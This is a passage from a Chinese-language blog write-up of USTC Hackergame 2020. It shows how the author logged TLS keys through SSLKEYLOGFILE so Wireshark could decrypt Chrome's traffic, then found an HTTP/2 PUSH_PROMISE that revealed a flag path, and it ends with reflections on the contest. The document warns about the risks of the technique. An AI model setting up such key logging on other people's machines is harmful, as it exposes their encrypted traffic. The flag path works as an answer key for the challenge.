「我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它」。现在我们知道了,这道题和 HTTP/2 Server Push 有关。解码 HTTP/2 帧最好的方法自然是使用 Wireshark。首先我们要让 Wireshark 能够解密 HTTPS 内容,最简单的方法是使用 SSLKEYLOGFILE 环境变量。

警告!使用 SSLKEYLOGFILE 环境变量非常危险,任何获取该变量的软件都可以随意解密你的 HTTPS 流量!因此,务必仅针对某一需要解密流量的软件、在某一次性 Session 下设置该环境变量!

打开 Chrome,在 chrome://version/ 中查看可执行文件路径:

然后在终端中通过预设环境变量直接启动 Chrome:

SSLKEYLOGFILE="/path/to/ssllog.txt" "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"

启动 Wireshark 偏好设置中找到 Protocol - TLS、配置 (Pre)-Master-Secret log filename:

现在,再通过启动的 Chrome 访问「Smart Proxy!」,可以看到 Wireshark 完整解密了 Chrome 的所有 HTTPS 流量。在 Wireshark 中使用下述过滤器找出本题的流量:

ip.addr == 146.56.228.227

在过滤后的流量中我们很快就可以找到 PUSH_PROMISE 帧、告诉了我们如何获得 secret 和第一个 flag:GET /ebe087a0-68e5-4280-b605-b98b89488e1e

获得第一个 flag 后,我们可以在终端中 Ctrl + C 关闭 Chrome。之后从 Dock、桌面、Finder、Spotlight 等方法「正常启动」Chrome 是不会再将 TLS 握手的信息输出到 SSLKEYLOGFILE 的。

尾声

今年的 USTC Hackergame 对我来说运气的成分远高于能力的成分,不少题目都是侥幸做出来的,而且对 binarymath 一窍不通的我这两类题几乎一道题都没做出来;比赛期间甚至收到了主办方邀请提交「非官方题解」,受宠若惊(狐狐暗自高兴);最后拿到了 3250 分,排名侥幸挤进了前 50、与真正的 CS 大佬和 CTF 师傅们在榜上合影,瑟瑟发抖(非常害怕)。

没有对比就没有伤害,相比 两周前 Bilibili 的「1024 程序员节 CTF」,USTC Hackergame 不论是在难度梯度分布、题目水平、趣味性、活动整体质量上都远高一个层次。引用组委会成员「Zihan Zheng」在知乎「参加中国科学技术大学第六届信息安全大赛(Hackergame 2019)是怎样一种体验?」提问中的回答:

我们举办的 Hackergame 的初衷就是对新人友好,增加趣味性,强调教育意义。我看到有些同学反馈说题目偏简单、逆向题偏少等等,我想强调,我们这个比赛虽然是提交 flag 的形式,但不是 CTF 比赛,不会与国内外的 CTF 比赛对标。我们会把这个特色坚持下去,希望大家不要从经验丰富的 CTF 选手视角来评价我们的比赛。

如果说 Hackergame 的初衷是「对新人友好,增加趣味性,强调教育意义」,IMHO 不论是 往届 还是今年的比赛都完美达成了这一点;毫无疑问地,明年的比赛我依然会参加。最后当然是要在「尾声」中喊一句口号:

「我有一个绝妙的解法,可惜我号太少,说不出来」

USTC Hackergame 2020(中科大信安赛)write up
本文作者
Sukka
发布于
2020-11-06
许可协议
转载或引用本文时请遵守许可协议,注明出处、不得用于商业用途!
喜欢这篇文章?为什么不考虑打赏一下作者呢?
爱发电
评论加载中 ...